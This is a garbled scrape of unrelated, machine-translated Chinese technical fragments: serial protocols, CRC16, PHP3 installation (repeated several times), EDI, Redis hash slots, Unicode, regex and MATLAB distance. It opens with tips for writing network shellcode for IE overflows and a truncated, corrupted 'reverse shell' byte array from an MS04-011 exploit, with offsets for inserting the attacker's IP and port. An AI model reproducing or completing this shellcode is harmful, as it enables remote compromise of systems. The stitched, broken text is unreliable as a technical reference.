tableDec ECxMoV ESI, [EBX + ECx * 4]Add ESI and ebp esi point to name pointerYou can search for it by yourself!
TIPS:1. It is best to add wairforsingleobject when writing network shellcode again.2. Do not forget exitprocess to avoid many program errors.3. Do not have 0a after the code passes xor99, because in IE overflow, 0a is converted to 0d0a, which will be shortened during string copy.Let's write this! I hope you will be inspired!
The following three general shellcodes are provided:
1. bind
shellcode in ms04011 as an example:// Reverse shellcode. Here, the offset of the plug-in port used for reverse connection is 118, and the offset of the inserted IP address is 111.Unsigned char reverseshell [] ="/Xeb/x10/x5b/x4b/x33/xc9/x66/xb9/x25/x01/X80/x34/x0b/x99/xe2/xfa""/Xeb/x05/xe8/xeb/xFF""/Cross city/x62/x99/x99/x99/xc6/XFD/x38/xa9/x99/x99/x99/X12/xd9/x95/X12""/Xe9/x85/x34/
Serial communication refers to the serial port bitwise (BIT) Send and receive bytes. Although it is slower than parallel traffic by byte (byte), the serial port can receive data with another line while sending data using one line.
Serial Communication Protocol (serial communication Protocol) for acquiring data from remote acquisition devices, sending and receiving bytes.
In serial communication, the commonly used protocols include RS-232, RS-422 and RS-485.
RS-232 protocol
The RS-232 (
out of order, the link is disconnected. This keepalive packet is used to check whether the point-to-point link is activated. 9. packet transmission process: IP packets are encapsulated on the HDLC layer. During the data transmission process, the packets of keepalive are still valid and valid. 10. timeout and disconnection phase: When the encapsulated HDLC interface cannot receive confirmation of its own incremental serial number for 10 consecutive times, the line protocol of HDLC changes from u
CRC16 common standards are used in various specifications, the principle of its algorithm is basically consistent, that is, in the data input and output differences, below the standards of the differences listed, and give the C language algorithm implementation.
Crc16_ccitt: Polynomial x16+x12+x5+1 (0x1021), initial value 0x0000, low in front, high in the post, results and 0x0000 different or
Crc16_ccitt_false: Polynomial x16+
Binary XML has aroused a lot of discussion. One reason is that relatively compact transmission formats are needed, especially for Web Services. The existing ready-to-use solution is compression. This tip illustrates how to use compression to prepare XML files for transmission in Web Services.In the discussion of XML, the view of binary XML has always been heard. Due to its traditional text and the rules required to make international texts more friendly, XML is very lengthy. The equivalent binar
This chapter describes how to install and set PHP3. Introduce necessary knowledge and software. Basic UNIX skills (learn how to operate and "make" a C compiler) a standard ANSIC compiler a WEB server (apparently needed) you can use the UNIX source code compilation and installation to download the latest source code SyntaxHighlighter. all ();
This chapter describes how to install and set PHP3. Introduce necessary knowledge and software.Basic UNIX skills (learn how to operate and "create" a C comp
Chapter 4 installationThis chapter describes how to install and set PHP3. Introduce necessary knowledge and software.Basic UNIX skills (learn how to operate and "CREATE" a c compiler)A standard ansi c CompilerA web Server (apparently required) Compiled and installed using UNIX source codeDownload source fileThe latest source code can be found at: http://www.php.net Quick installation instructions (Apache Module Version)1. gunzip apache_1.3.x.tar.gz2
Chapter 4 installationThis chapter describes how to install and set PHP3. Introduce necessary knowledge and software.Basic UNIX skills (learn how to operate and "create" a C compiler)A standard ansi c compilerA web server (apparently required)Compiled and installed using UNIX source codeDownload source fileThe latest source code can be found at: http://www.php.netQuick installation instructions (Apache Module version)1. gunzip apache_1.3.x.t
avoid the paper documents in human error (such as data errors, etc.). So big IT systems are more like EDI because EDI is transparent to business people and business people operate their day-to-day business systems.
EDI relies on several parts:
1, EDI transmission routes, general EDI through the AS2 agreement, FTP/S, etc., can also be directly through the third party van (value-added network) service providers (this and we use the same mode of e-mail). Because it involves business information,
This chapter describes how to install and set PHP3. Introduce necessary knowledge and software.Basic UNIX skills (learn how to operate and "CREATE" a c compiler)A standard ansi c CompilerA web Server (apparently required) Compiled and installed using UNIX source codeDownload source fileThe latest source code can be found at: http://www.php.netQuick installation instructions (Apache Module Version)1. gunzip apache_1.3.x.tar.gz2. tar xvf apache_1.3.x.t
any number of slave nodes, which are used to replace the primary node when the primary node is disconnected or the node fails.
The following is the algorithm that is responsible for mapping keys to slots:
Hash_slot = CRC16 (key) mod 16384
The following parameters are used by the algorithm:
Name of the algorithm: XMODEM (also known as ZMODEM or Crc-16/acorn)Length of result: 16 bitNumber of entries (Poly): 1021 (also x16 + x12 + x5 + 1)Initializati
Suspicious identification file header: whzlib, 2003File composition:1. nam file (ANSI encoded, displayed properly using Windows-936)2. idx File3. dat fileIt is assumed that the file name, index, and specific data are used.Contains mesh (pmf file, model), Texture (tga file, material), Animation (paf file, Animation), Skeleton (psf file, Skeleton)Select a small PM. nam (idx, dat) file for analysis.The file sizes are as follows:PM. nam 2135 bytesPM. idx
. Prototype. existchinese = function (){// [\ U4e00-\ u9fa5] is the escape character, and [\ ufe30-\ uffa0] is the fullwidth character.Return/[\ u4e00-\ u9fa5]/. Test (this );}
3. Other skills
1. Only Chinese characters and numbers can be entered. uppercase and lowercase English letters are supported. Only Chinese characters are allowed ,.! Regular ExpressionIf (/[^ \ u4e00-\ u9fa5 \ W, \.]/. Test (obj. Value) obj. value = ""; return false;
Function specchar (OBJ) {If (event. type = "keyup")
characters are treated equally, the kanji no longer uses "two extended ASCII", but instead uses "1 Unicode", that is, all the text is processed by one character, and they all have a unique Unicode code.Ii. benefits of using Unicode encodingUsing Unicode encoding enables your project to support multiple languages at the same time to internationalize your project.In addition, Windows NT is developed using Unicode, and the entire system is Unicode-based. If you call an API function and pass it an
the encoding of all language literals in the world.In Unicode, all characters are treated equally, the kanji no longer uses "two extended ASCII", but instead uses "1 Unicode", that is, all the text is processed by one character, and they all have a unique Unicode code.Ii. benefits of using Unicode encodingUsing Unicode encoding enables your project to support multiple languages at the same time to internationalize your project.In addition, Windows NT is developed using Unicode, and the entire s
:
(3) Two n-dimensional vectors A (X11, X12 ,..., X1n) and B (X21, x22 ,..., Euclidean distance between x2n:
It can also be expressed as a vector operation:
(4) Calculation of Euclidean distance using Matlab
MATLAB distance calculation mainly uses the pdist function. If X is a matrix of m x N, pdist (x) treats each row of m in the X matrix as an n-dimensional vector, and then calculates the distance between these M vectors.
Example:
, X12 ,..., X1n) and B (X21, x22 ,..., Euclidean distance between x2n:
It can also be expressed as a vector operation:
(4) Calculation of Euclidean distance using Matlab
MATLAB distance calculation mainly uses the pdist function. If X is a matrix of m x N, pdist (x) treats each row of m in the X matrix as an n-dimensional vector, and then calculates the distance between these M vectors.
Example: Calculate the Euclidean distance between vectors (),
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